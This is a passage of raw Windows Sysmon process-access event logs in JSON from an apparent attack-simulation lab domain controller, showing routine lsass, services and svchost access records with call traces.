C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.391\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.391","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 